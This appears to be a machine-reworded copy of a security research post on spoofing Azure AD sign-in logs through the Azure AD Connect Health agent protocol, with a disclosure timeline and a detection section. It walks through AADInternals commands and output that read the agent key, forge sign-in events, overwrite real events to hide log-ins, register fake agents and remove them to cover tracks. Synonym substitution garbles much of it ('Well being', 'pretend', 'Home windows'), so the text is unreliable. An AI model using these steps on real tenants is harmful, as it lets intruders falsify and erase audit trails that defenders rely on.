
Azure AD Join Well being is a function that enables viewing the well being of on-prem hybrid infrastructure elements, together with Azure AD Join and AD FS servers.
Well being info is gathered by brokers put in on every on-prem hybrid server. Since March 2021, additionally AD FS sign-in occasions are gathered and despatched to Azure AD.
On this write-up (primarily based on a Risk Evaluation report by Secureworks), I’ll clarify how anybody with a neighborhood administrator entry to AD FS server (or proxy), can create arbitrary sign-ins occasions to Azure AD sign-ins log.
Furthermore, I’ll present how International Directors can register pretend brokers to Azure AD – even for tenants not utilizing AD FS in any respect.
Per Azure AD Join Well being documentation:
Azure Energetic Listing (Azure AD) Join Well being offers sturdy monitoring of your on-premises identification infrastructure. It allows you to keep a dependable connection to Microsoft 365 and Microsoft On-line Providers. This reliability is achieved by offering monitoring capabilities on your key identification elements. Additionally, it makes the important thing information factors about these elements simply accessible.
After configuration and set up, we are able to see the well being of AD FS companies within the Azure AD Portal:
We will additionally drill-down to see particulars:
The logical construction of the hybrid well being AD FS companies in ArchiMate notation will be seen under:
The service represents the AD FS service and has the title equal to the hostname property of AD FS service:
# Get the AD FS service title
Get-AdfsProperties | Choose Hostname
HostName
--------
sts.pretend.myo365.website
The service consists of service members, which will be both federation server or federation server proxy. Service members names are equal equal to the hostname of the server or the proxy:
# Get the pc host title
$env:COMPUTERNAME
SERVER
To get issues going, an agent have to be put in on every AD FS and proxy server. License necessities to make use of Azure AD Join Well being is Azure AD Premium P1 or P2.
The Well being Agent for AD FS has been there for years to report the well being of the service. In March 2021, Microsoft introduced
{that a} public preview for AD FS sign-ins in Azure AD reporting is out there to all clients.
As quickly as this was introduced, I took a short look and observed that the agent is utilizing Azure service bus (similar than PTA authentication and Azure Internet Utility Proxy). Lastly, on the finish of Could, I had time for
correct analysis.
Technically, in Azure AD, there are particular person logs for a various kinds of sign-ins:
- SignInLogs
- NonInteractiveUserSignInLogs
- ServicePrincipalSignInLogs
- ManagedIdentitySignInLogs
- ProvisioningLogs
- ADFSSignInLogs
- RiskyUsers
- UserRiskEvents
The “regular” Azure AD sign-ins occasions are saved to a log known as SignInLogs and AD FS sign-ins to a log known as ADFSSignInLogs:
If the organisation has an Azure subscription, ADFSSignInLogs will be exported to Log Analytics workspace to be seen and analysed. Beneath is an instance of occasions extracted from Log Analytics:
Directors can view sign-ins logs in Azure Admin Portal. Nevertheless, there isn’t any devoted tab for ADFSSignInLogs. As an alternative, AD FS log-in occasions are proven in Person sign-ins (interactive) alongside “regular” Azure AD sign-ins occasions.
Beneath is an instance the place we are able to see AD FS log-in occasions from above in Azure AD sign-ins log:
The Well being Agent for AD FS consists of three companies. The one that’s accountable for sending the occasions to Azure AD is Azure AD Join Well being AD FS Insights Service:
The general course of how AD FS sign-ins occasions are gathered and despatched to Azure AD is illustrated under:
Step 1: Log in
First, a consumer logs in to AD FS utilizing any methodology configured and accessible for the consumer.
Step 2: Write Occasion Id 1200
Throughout and after a profitable or failed log-in, AD FS server writes a number of auditing occasions to Safety log. Auditing is turned on through the set up of the agent and is a prerequisite for gathering occasions.
The Occasion Id 1200 accommodates particulars in regards to the log-in occasion:
<?xml model="1.0" encoding="utf-16"?>
<AuditBase xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:sort="AppTokenAudit">
<AuditType>AppToken</AuditType>
<AuditResult>Success</AuditResult>
<FailureType>None</FailureType>
<ErrorCode>N/A</ErrorCode>
<ContextComponents>
<Element xsi:sort="ResourceAuditComponent">
<RelyingParty>urn:federation:MicrosoftOnline</RelyingParty>
<ClaimsProvider>AD AUTHORITY</ClaimsProvider>
<UserId>AADINTERNALStest</UserId>
</Element>
<Element xsi:sort="AuthNAuditComponent">
<PrimaryAuth>urn:oasis:names:tc:SAML:2.0:ac:courses:PasswordProtectedTransport</PrimaryAuth>
<DeviceAuth>false</DeviceAuth>
<DeviceId>N/A</DeviceId>
<MfaPerformed>false</MfaPerformed>
<MfaMethod>N/A</MfaMethod>
<TokenBindingProvidedId>false</TokenBindingProvidedId>
<TokenBindingReferredId>false</TokenBindingReferredId>
<SsoBindingValidationLevel>TokenUnbound</SsoBindingValidationLevel>
</Element>
<Element xsi:sort="ProtocolAuditComponent">
<OAuthClientId>N/A</OAuthClientId>
<OAuthGrant>N/A</OAuthGrant>
</Element>
<Element xsi:sort="RequestAuditComponent">
<Server>http://sts.pretend.myo365.website/adfs/companies/belief</Server>
<AuthProtocol>WSFederation</AuthProtocol>
<NetworkLocation>Intranet</NetworkLocation>
<IpAddress>10.10.10.30</IpAddress>
<ForwardedIpAddress />
<ProxyIpAddress>N/A</ProxyIpAddress>
<NetworkIpAddress>N/A</NetworkIpAddress>
<ProxyServer>N/A</ProxyServer>
<UserAgentString>Mozilla/5.0 (Home windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36</UserAgentString>
<Endpoint>/adfs/ls/</Endpoint>
</Element>
</ContextComponents>
</AuditBase>
Step 3: Learn Occasions
The agent reads (at the least) all Id 1200 occasions. The agent appears to be monitoring the Safety log for modifications.
Step 4: Get Service Entry Token
The agent will get a Service Entry Token from Azure AD. The token is fetched by making HTTP POST request to:
https://s1.adhybridhealth.azure.com/oauth2/token
The physique of the request is (line modifications added):
grant_type=client_credentials&client_secret=<client_secret>&client_id=<tenant_id>_<machine_id>
<client_secret> is a so known as AgentKey, which is saved to the registry of AD FS server. The AgentKey is “protected” with DPAPI.
<client_id> is a mix of the tenant id and machine id. Each of the values are additionally saved to the registry.
Parameter | Registry location |
---|---|
client_secret | HKLM:SOFTWAREMicrosoftADHealthAgentAgentKey |
tenant_id | HKLM:SOFTWAREMicrosoftADHealthAgentTenantId |
machine_id | HKLM:SOFTWAREMicrosoftMicrosoft OnlineReportingMonitoringAgentMachineIdentity |
As a response, we may have a JSON file containing the service entry token:
{
"access_token": "2Fx1s5Th9h4...D4efhRG4",
"token_type": "bearer",
"expires_in": 3599
}
The service entry token is NOT a typical JWT token, however some Microsot encrypted blob. The token is legitimate for (nearly) an hour.
Step 5: Get Blob Add Key
The agent will get a Blob Add Key that’s required to ship the precise occasions to Azure AD. The hot button is fetched by making HTTP GET request to:
https://s1.adhybridhealth.azure.com/suppliers/Microsoft.ADHybridHealthService/monitoringpolicies/<service_id>/keys/BlobUploadKey
<service_id> refers back to the id of AD FS service registered to Azure AD through the first agent set up. The id not proven within the Azure Portal, however is fortunately additionally saved to the registry.
Parameter | Registry location |
---|---|
service_id | HKLM:SOFTWAREMicrosoftADHealthAgentADFSServiceId |
The Service Entry Token from the earlier step is included within the Authorization header:
Authorization: Bearer <service entry token>
As a response, we are going to get a URL for the blob storage with a working shared entry signature (SAS) token. The <service_id> is the service id despatched within the request.
https://adhsprodweuaadsynciadata.blob.core.home windows.web/adfederationservice-<service_id>?sv=2018-03-28&sr=c&sig=RCrQOWOLrpercent2FjHIX6percent2FxCti1bPmbHgkp4T9eLS07uPpercent2FyKMpercent3D&se=2021-07-10T08percent3A01percent3A46Z&sp=w
Step 6: Get Occasion Writer Key
The agent will get an Occasion Writer Key that’s required to ship the signature of the occasions blob to Azure AD. The hot button is fetched by making HTTP GET request to:
https://s1.adhybridhealth.azure.com/suppliers/Microsoft.ADHybridHealthService/monitoringpolicies/<service_id>/keys/EventHubPublisherKey
<service_id> is identical as within the earlier step, and the service entry token can also be used equally for authentication.
As a response, we are going to get a JSON file that’s only a single string containing Azure Service Bus endpoint and different associated info, together with one other SAS token.
"Endpoint=sb://adhsprodweuehadfsia.servicebus.home windows.web/;SharedAccessSignature=SharedAccessSignature sr=sbpercent3apercent2fpercent2fadhsprodweuehadfsia.servicebus.home windows.netpercent2fadhsprodweuehadfsiapercent2fPublisherspercent2f658fe106-a59d-404e-985b-0c1bf3b4f72d&sig=4percent2bZpercent2bNurnA4percent2b4t6dvTG8kqraJMlNzxKF0KFjiBIaZUw4percent3d&se=1625904056&skn=RootManageSharedAccessKey;EntityPath=adhsprodweuehadfsia;Writer=658fe106-a59d-404e-985b-0c1bf3b4f72d"
Step 7: Add Occasions to blob storage
The occasions are despatched to blob storage as a json file, which consists of an array of occasion objects. Beneath is the json file for the occasion from the step 2:
1[
2 {
3 "UniqueID": "434c2d29-a4a0-4ce2-86f5-1679bbadc948",
4 "Server": "SERVER",
5 "EventType": 1,
6 "PrimaryAuthentication": 33,
7 "RequiredAuthType": 1,
8 "RelyingParty": "urn:federation:MicrosoftOnline",
9 "RelyingPartyName": "",
10 "Result": true,
11 "DeviceAuthentication": false,
12 "URL": "/adfs/ls",
13 "User": 1350057402,
14 "UserId": "AADINTERNALStest",
15 "UserIdType": 10,
16 "UPN": "[email protected]",
17 "Timestamp": "2021-07-09T07:03:54.9506592Z",
18 "Protocol": 2,
19 "NetworkLocation": 1,
20 "AppTokenFailureType": 0,
21 "IPAddress": "10.10.10.30",
22 "ClaimsProvider": null,
23 "OAuthClientID": null,
24 "OAuthTokenRetrievalMethod": null,
25 "MFA": null,
26 "MFAProviderErrorCode": null,
27 "ProxyServer": null,
28 "Endpoint": "/adfs/ls/",
29 "UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
30 "DeviceID": "",
31 "ErrorHitCount": 0,
32 "X509CertificateType": null,
33 "MFAAuthenticationType": null,
34 "ActivityId": "b91630ee-984e-40ff-a7ea-ffefdb472048",
35 "ActivityIdAutoGenerated": false,
36 "PrimarySid": "S-1-5-21-2918793985-2280761178-2512057791-1602",
37 "ImmutableId": "rJcYmpdAz0i3VB7sI6ZDcg=="
38 }
39]
Be aware: From the identification info (rows 14, 16, 36, and 37 from the json file above) Azure AD solely cares about UPN. All log-in occasions are despatched to Azure AD.
Nevertheless, solely these occasions having an UPN of an present Azure AD consumer is added to ADFSSignInLog.
Earlier than sending the json file, it’s compressed utilizing Gzip.
Agent sents the compressed json file to the blob storage by making HTTP POST to the url acquired in step 5. The url is modified by including a file title and api-version to it:
https://adhsprodweuaadsynciadata.blob.core.home windows.web/adfederationservice-<service_id>/<id>.json?sv=2018-03-28&sr=c&sig=RCrQOWOLrpercent2FjHIX6percent2FxCti1bPmbHgkp4T9eLS07uPpercent2FyKMpercent3D&se=2021-07-10T08percent3A01percent3A46Z&sp=w&api-version=2017-04-17
<service_id> is identical than within the earlier steps and <id> is a random GUID figuring out the despatched occasions.
The next HTTP headers are used:
Person-Agent: Azure-Storage/8.2.0 (.NET CLR 4.0.30319.42000; Win32NT 10.0.17763.0)
x-ms-version: 2017-04-17
Content material-MD5: <MD5Hash>
x-ms-blob-type: BlockBlob
x-ms-client-request-id: <id>
<Md5Hash> is the MD5 hash calculated from the Gzip compressed json file.
<id> is identical id used above.
Step 8: Ship signature to occasions hub
Earlier than calculating the signature to be despatched to the occasions hub, we have to derive the signature key (that is very attention-grabbing):
- SHA512 hash is calculated from the AgentKey. The AgentKey is a base 64 encoded byte array, however the hash is calculated from the b64 string by changing it to the byte array of ASCII values!
- The ensuing (binary) hash is transformed to hex string.
- Signing secret is a results of changing the hex string to byte array by utilizing base 64 decoding !??!??
The subsequent step is to outline the string to be signed:
<tenant_id>,<service_id>,<machine_id>,Adfs-UsageMetrics,<blob_url>,<date_string>
<tenant_id>,<service_id>,<machine_id> are the values from the steps 4 and 5. <blob_url> is the url used within the earlier step however with out question parameters.
<date_string> is the signing time (UTC) in sortable format like:
2021-07-09T10:43:35
Signature is calculated by changing the string to a byte array of UNICODE values and by calculating a HMACSHA512 from it utilizing the signing key calculated earlier.
Lastly, the signature is base 64 encoded.
Utilizing the endpoint URL from the step 6. a connection is made to Azure Service Bus. Beneath is the screenshot from Fiddler exhibiting the precise message containing the string to be signed and the precise signature.
After sending the signature, the occasions are proven within the log in quarter-hour or so (can take for much longer too).
AADInternals v0.5.0 consists of the performance to create pretend occasions utilizing the Hybrid Well being Service protocol.
First, we have to get the agent info (requires native administrator rights to AD FS server):
# Get the agent info and save to a variable
$agentInfo = Get-AADIntHybridHealthServiceAgentInfo
Second, we create an array of faux occasions. This and the subsequent step will be achieved from any internet-joined pc utilizing the agent info from the earlier step.
# Create an array of faux occasions
$occasions=@(
New-AADIntHybridHealtServiceEvent -Server $agentInfo.Server -UPN "[email protected]" -IPAddress "22.22.22.22" -NetworkLocationType Extranet -Timestamp (Get-Date).AddHours(-1)
New-AADIntHybridHealtServiceEvent -Server $agentInfo.Server -UPN "[email protected]" -IPAddress "11.11.11.11" -NetworkLocationType Extranet
)
Lastly, we’ll ship the occasions! I’m utilizing -Verbose swap right here to see what’s happening under-the-hood:
# Ship the occasions
Ship-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Occasions $occasions -Verbose
Output:
VERBOSE: POST https://s1.adhybridhealth.azure.com/oauth2/token with -1-byte payload
VERBOSE: acquired 443-byte response of content material sort utility/json; charset=UTF-8
VERBOSE: GET https://s1.adhybridhealth.azure.com/suppliers/Microsoft.ADHybridHealthService/monitoringpolicies/50abc8f3-243a-4ac1-a3fb-712054d7334b/keys/BlobUploadKey with 0-byte payload
VERBOSE: acquired 218-byte response of content material sort utility/json; charset=utf-8
VERBOSE: GET https://s1.adhybridhealth.azure.com/suppliers/Microsoft.ADHybridHealthService/monitoringpolicies/50abc8f3-243a-4ac1-a3fb-712054d7334b/keys/EventHubPublisherKey with 0-byte payload
VERBOSE: acquired 411-byte response of content material sort utility/json; charset=utf-8
VERBOSE: Get-CompressedByteArray
VERBOSE: PUT https://adhsprodweuaadsynciadata.blob.core.home windows.web/adfederationservice-50abc8f3-243a-4ac1-a3fb-712054d7334b/a653012f-522a-4d47-b4b5-a753ccebd353.json?sv=2018-03-28&sr=c&sig=cwyvMgry1h5IyfA3hQwKX1percent2FoOPibv1lvZq7fbPSwF4Upercent3D&se=2021-07-10T12:16:57Z&sp=w&api-version=2017-04-17 with -1-byte payload
VERBOSE: acquired 0-byte response of content material sort
VERBOSE: Opening websocket: wss://adhsprodweuehadfsia.servicebus.home windows.web/$servicebus/websocket
VERBOSE: IN: @{Sort=Protocol SASL; Protocol=3; Main=1; Minor=0; Revision=0}
VERBOSE: OUT:@{Sort=Protocol SASL; Protocol=3; Main=1; Minor=0; Revision=0}
VERBOSE: IN: @{Sort=Protocol SASL; Protocol=3; Main=1; Minor=0; Revision=0}
VERBOSE: IN: @{Measurement=63; DOFF=2; Prolonged Header=System.Object[]; Sort=SASL Mechanisms; Content material=System.Object[]}
VERBOSE: IN: @{Measurement=26; DOFF=2; Prolonged Header=System.Object[]}
VERBOSE: OUT:@{Measurement=26; DOFF=2; Prolonged Header=System.Object[]}
VERBOSE: IN: @{Measurement=26; DOFF=2; Prolonged Header=System.Object[]; Sort=SASL End result; Standing=okay; Message=Welcome!}
VERBOSE: IN: @{Sort=Protocol AMQP; Protocol=0; Main=1; Minor=0; Revision=0}
VERBOSE: OUT:@{Sort=Protocol AMQP; Protocol=0; Main=1; Minor=0; Revision=0}
VERBOSE: IN: @{Sort=Protocol AMQP; Protocol=0; Main=1; Minor=0; Revision=0}
VERBOSE: IN: @{Measurement=106; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Open; Channel=0; ContainerId=ed0739c1de7a6d907f304916220bea5b; HostName=adhsprodweuehadfsia.servicebus.home windows.web; MaxFrameSize=65536; ChannelMax=8191; IdleTimeOut=; OutgoingLocales=; IncomingLocales=; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: OUT:@{Measurement=106; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Open; Channel=0; ContainerId=ed0739c1de7a6d907f304916220bea5b; HostName=adhsprodweuehadfsia.servicebus.home windows.web; MaxFrameSize=65536; ChannelMax=8191; IdleTimeOut=; OutgoingLocales=; IncomingLocales=; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: IN: @{Measurement=71; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Open; Channel=0; ContainerId=31e228ec82a74f9cbd981e4b535a974b_G22; HostName=; MaxFrameSize=65536; ChannelMax=4999; IdleTimeOut=120000; OutgoingLocales=; IncomingLocales=; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: IN: @{Measurement=35; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Start; Channel=0; RemoteChannel=; NextOutgoingId=1; IncomingWindow=5000; OutgoingWindow=5000; HandleMax=262143; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: OUT:@{Measurement=35; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Start; Channel=0; RemoteChannel=; NextOutgoingId=1; IncomingWindow=5000; OutgoingWindow=5000; HandleMax=262143; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: IN: @{Measurement=34; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Start; Channel=0; RemoteChannel=0; NextOutgoingId=1; IncomingWindow=5000; OutgoingWindow=5000; HandleMax=255; OfferedCapabilities=; DesiredCapabilities=; Properties=}
VERBOSE: IN: @{Measurement=124; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Connect; Channel=0; Title=duplex64193:64195:64196:sender; Deal with=0; Course=out; Goal=$cbs; TrackingId=69968}
VERBOSE: OUT:@{Measurement=124; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Connect; Channel=0; Title=duplex64193:64195:64196:sender; Deal with=0; Course=out; Goal=$cbs; TrackingId=69968}
VERBOSE: IN: @{Measurement=132; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Connect; Channel=0; Title=duplex64193:64195:64196:sender; Deal with=0; Course=in; Goal=@ ; TrackingId=69968}
VERBOSE: IN: @{Measurement=36; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Movement; Channel=0; NextIncomingId=1; IncomingWindow=5000; NextOutgoingId=1; OutgoingWindow=5000; Deal with=0; DeliveryCount=0; LinkCredit=100; Obtainable=0; Drain=; Echo=False; Properties=}
VERBOSE: IN: @{Measurement=159; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Connect; Channel=0; Title=duplex64193:64195:64196:receiver; Deal with=1; Course=in; Goal=$cbs; TrackingId=69968}
VERBOSE: OUT:@{Measurement=159; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Connect; Channel=0; Title=duplex64193:64195:64196:receiver; Deal with=1; Course=in; Goal=$cbs; TrackingId=69968}
VERBOSE: IN: @{Measurement=167; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Connect; Channel=0; Title=duplex64193:64195:64196:receiver; Deal with=1; Course=out; Goal=ed0739c1de7a6d907f304916220bea5b; TrackingId=69968}
VERBOSE: IN: @{Measurement=37; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Movement; Channel=0; NextIncomingId=1; IncomingWindow=5000; NextOutgoingId=1; OutgoingWindow=5000; Deal with=1; DeliveryCount=0; LinkCredit=50; Obtainable=0; Drain=; Echo=False; Properties=}
VERBOSE: OUT:@{Measurement=37; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Movement; Channel=0; NextIncomingId=1; IncomingWindow=5000; NextOutgoingId=1; OutgoingWindow=5000; Deal with=1; DeliveryCount=0; LinkCredit=50; Obtainable=0; Drain=; Echo=False; Properties=}
VERBOSE: IN: @{Measurement=556; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Switch; Channel=0; Deal with=0; DeliveryId=0; DeliveryTag=Qw==; MessageFormat=0; Settled=True; Extra=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=False}
VERBOSE: OUT:@{Measurement=556; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Switch; Channel=0; Deal with=0; DeliveryId=0; DeliveryTag=Qw==; MessageFormat=0; Settled=True; Extra=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=False}
VERBOSE: IN: @{Measurement=113; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Switch; Channel=0; Deal with=1; DeliveryId=0; DeliveryTag=AQAAAEM=; MessageFormat=0; Settled=True; Extra=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=False}
VERBOSE: IN: @{Measurement=266; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Connect; Channel=0; Title=479fb98dc6864904aade7b577963e835;64193:64194:64199; Deal with=2; Course=out; Goal=adhsprodweuehadfsia/Publishers/66543d53-b49b-483b-9312-b8c5fdfea30c; TrackingId=7}
VERBOSE: OUT:@{Measurement=266; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Connect; Channel=0; Title=479fb98dc6864904aade7b577963e835;64193:64194:64199; Deal with=2; Course=out; Goal=adhsprodweuehadfsia/Publishers/66543d53-b49b-483b-9312-b8c5fdfea30c; TrackingId=7}
VERBOSE: IN: @{Measurement=5469120; DOFF=23; Prolonged Header=System.Object[]}
VERBOSE: IN: @{Measurement=580; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Switch; Channel=0; Deal with=2; DeliveryId=0; DeliveryTag=AQAAAEM=; MessageFormat=0; Settled=; Extra=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=True}
VERBOSE: OUT:@{Measurement=580; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Switch; Channel=0; Deal with=2; DeliveryId=0; DeliveryTag=AQAAAEM=; MessageFormat=0; Settled=; Extra=False; RcvSettleMode=; State=; Resume=; Aborted=; Batchable=True}
VERBOSE: IN: @{Measurement=17; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Detach; Channel=0; Deal with=0; Closed=True; Error=}
VERBOSE: OUT:@{Measurement=17; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Detach; Channel=0; Deal with=0; Closed=True; Error=}
VERBOSE: IN: @{Measurement=18; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Detach; Channel=0; Deal with=1; Closed=True; Error=}
VERBOSE: OUT:@{Measurement=18; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Detach; Channel=0; Deal with=1; Closed=True; Error=}
VERBOSE: IN: @{Measurement=18; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Detach; Channel=0; Deal with=2; Closed=True; Error=}
VERBOSE: OUT:@{Measurement=18; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Detach; Channel=0; Deal with=2; Closed=True; Error=}
VERBOSE: IN: @{Measurement=15; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Finish; Channel=0; Error=}
VERBOSE: OUT:@{Measurement=15; DOFF=2; Prolonged Header=System.Object[]; Sort=AQMP Finish; Channel=0; Error=}
VERBOSE: Closing websocket
After 15 min or so, the occasions seem within the sign-ins (interactive) log. And as we are able to see, we had been capable of alter additionally the sign-ins time:
Finding out the protocol and the data despatched to Azure AD, I observed that the Request ID within the sign-ins is the same as the UniqueID of the occasion.
This made me marvel what occurs if I take advantage of an present Request ID as UniqueID for the occasions:
# Create an occasion utilizing present Request ID as UniqueID
$occasions=@(
New-AADIntHybridHealtServiceEvent -UniqueID "8d62c873-3d82-48f9-a30b-532be551709c" -Server $agentInfo.Server -UPN "[email protected]" -IPAddress "22.22.22.22" -NetworkLocationType Extranet
)
It turned out that the pretend occasion overwrote the present occasion! This allowed risk actors to cover their log-in actions by changing their log-ins with arbitrary info.
Timeline:
Date | Exercise |
---|---|
Could thirtieth 2021 | Discovery of the vulnerability |
Could thirty first 2021 | Reported the vulnerability to Microsoft |
Jun sixth 2021 | Shared device with Microsoft to breed the difficulty |
Jun sixteenth 2021 | Microsoft confirmed the behaviour and indicated reviewing the report for a bounty award |
Jul 2nd 2021 | Microsoft awarded bounty of 10000 USD (Severity: Vital, Safety Influence: Spoofing) |
Jul 2nd 2021 | Disagreed with the severity and influence – spoofing is spoofing and tampering is tampering.. |
Jul sixth 2021 | Microsoft reported {that a} repair had been utilized |
Jul seventh 2021 | Confirmed the repair adressed the difficulty:
Now all occasions will get a randomly generated Request ID so the tampering just isn’t potential anymore. |
Creating pretend log-in occasions utilizing an present agent requires native administrator entry to the server the place the agent is put in. With International Administrator permissions, this may also be achieved remotely,
as pretend brokers will be registered from any pc with web join – even for tenants which would not have AD FS.
Be aware: For some cause, the registration occasions are usually not logged to the audit log, making it very simple to cover your tracks!
Registering hybrid well being service
First, we have to create a brand new hybrid well being service:
# Get an entry token and put it aside to the cache:
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Create a brand new AD FS service
New-AADIntHybridHealthService -DisplayName "sts.firm.com" -Signature "sts.firm.com" -Sort AdFederationService
activeAlerts : 0
additionalInformation :
createdDate : 2021-07-12T07:25:29.1009287Z
customNotificationEmails :
disabled : False
displayName : sts.firm.com
well being : Wholesome
lastDisabled :
lastUpdated : 0001-01-01T00:00:00
monitoringConfigurationsComputed :
monitoringConfigurationsCustomized :
notificationEmailEnabled : True
notificationEmailEnabledForGlobalAdmins : True
notificationEmails :
notificationEmailsEnabledForGlobalAdmins : False
resolvedAlerts : 0
serviceId : 189c61bb-2c9c-4e86-b038-d0257c6c559e
serviceMembers :
serviceName : AdFederationService-sts.firm.com
signature : sts.firm.com
simpleProperties :
tenantId : c5ff949d-2696-4b68-9e13-055f19ed2d51
sort : AdFederationService
originalDisabledState : False
The brand new service will now seem within the record of AD FS companies:
As we are able to see, the standing of the service is presently Unmonitored. It is because we’ve not registered any service members but.
Registering AD FS server
Let’s subsequent register a brand new AD FS server:
# Record the service names
Get-AADIntHybridHealthServices -Service AdFederationService | ft serviceName
serviceName
-----------
AdFederationService-sts.firm.com
AdFederationService-sts.pretend.myo365.website
# Register a brand new AD FS server
Register-AADIntHybridHealthServiceAgent -ServiceName "AdFederationService-sts.firm.com" -MachineName "ADFS01" -MachineRole AdfsServer_2016
Agent information saved to "AdFederationService-sts.firm.com_c5ff949d-2696-4b68-9e13-055f19ed2d51_224a18a0-b450-477c-a437-07916855e570_ADFS01.json"
Consumer sertificate saved to "AdFederationService-sts.firm.com_c5ff949d-2696-4b68-9e13-055f19ed2d51_224a18a0-b450-477c-a437-07916855e570_ADFS01.pfx"
Agent info (AgentKey and so forth.) is saved to a .json file and the agent’s certificates to a .pfx file (empty password).
Now the service standing has modified to Wholesome:
Clicking the service will present the main points of the service and we are able to see there’s one registered AD FS server:
Clicking anyplace within the Overview field will present the record of all registered brokers:
A number of servers and proxies will be registered with the identical course of.
Creating pretend occasions
Now we are able to create pretend occasions similar means we did above:
Now we are able to load the agent info to a variable and create pretend occasions as above:
# Load the agent info and save to a variable
$agentInfo = Get-Content material "AdFederationService-sts.firm.com_c5ff949d-2696-4b68-9e13-055f19ed2d51_224a18a0-b450-477c-a437-07916855e570_ADFS01.json" | ConvertFrom-Json
# Ship the occasions
Ship-AADIntHybridHealthServiceEvents -AgentInfo $agentInfo -Occasions $occasions -Verbose
Eradicating pretend companies and brokers
Lastly, to cover your tracks, you’ll be able to take away the service and brokers:
# Take away the service and brokers
Take away-AADIntHybridHealthService -ServiceName "AdFederationService-sts.firm.com"
Be aware: I used to be capable of create AD FS service and register brokers additionally to the tenant with out Azure Premium P1 or P2 subscription. Nevertheless, the occasions received’t seem within the Azure AD sign-ins log and repair
can’t be seen from the Azure Portal.
Exporting agent secrets and techniques
After authentic publication of this weblog, @Cyb3rWard0g created Sigma
and Azure Sentinel guidelines for detecting entry to agent key.
Spoofing
This type of exercise, the place you talk with the cloud straight, is usually laborious to detect. On this case, with the data accessible at ADFSSignInLog, exploitation can’t be detected in any respect.
Registering pretend companies
As talked about earlier, registration occasions are usually not logged to the audit log. Nevertheless, the occasions are included within the Listing Exercise log of any Azure subscription of the tenant:
How in regards to the tenants with out Azure subscription? Don’t fear, I obtained you coated as AADInternals v0.6.0 features a operate to view the Azure Listing Exercise log objects!
Be aware: If the tenant doesn’t have Azure subscription, the consumer will need to have “Entry administration for Azure sources” switched on at Azure AD properties
or use AADInternals Grant-AADIntAzureUserAccessAdminRole operate to change it on.
To get the Azure Listing Exercise occasions use the next instructions:
# Get the entry token and save to cache
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
# Optionally available: grant Azure Person Entry Administrator position (and await about 10 seconds for modifications to take impact)
Grant-AADIntAzureUserAccessAdminRole
# Get the occasions for the final month
$occasions = Get-AADIntAzureDirectoryActivityLog -Begin (Get-Date).AddDays(-31)
# Choose ADHybridHealthService associated occasions and extract related info
$occasions | the place {$_.authorization.motion -like "Microsoft.ADHybrid*"} | %{New-Object psobject -Property ([ordered]@{"Scope"=$_.authorization.scope;"Operation"=$_.operationName.localizedValue;"Caller"=$_.caller;"TimeStamp"=$_.eventTimeStamp;"IpAddress"=$_.httpRequest.clientIpAddress})} | ft
Output:
Scope Operation Caller TimeStamp IpAddress
----- --------- ------ --------- ---------
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts2.firm.com Creates a server. [email protected] 2021-08-25T15:10:59.0148112Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts2.firm.com Creates a server. [email protected] 2021-08-25T15:10:58.3348792Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts2.firm.com Creates a server. [email protected] 2021-08-25T15:10:16.2093169Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts2.firm.com Creates a server. [email protected] 2021-08-25T15:10:15.5693784Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts2.firm.com Creates a server. [email protected] 2021-08-25T15:07:11.3219081Z 51.65.246.212
/suppliers/Microsoft.ADHybridHealthService/companies/AdFederationService-sts2.firm.com Creates a server. [email protected] 2021-08-25T15:07:10.5819036Z 51.65.246.212
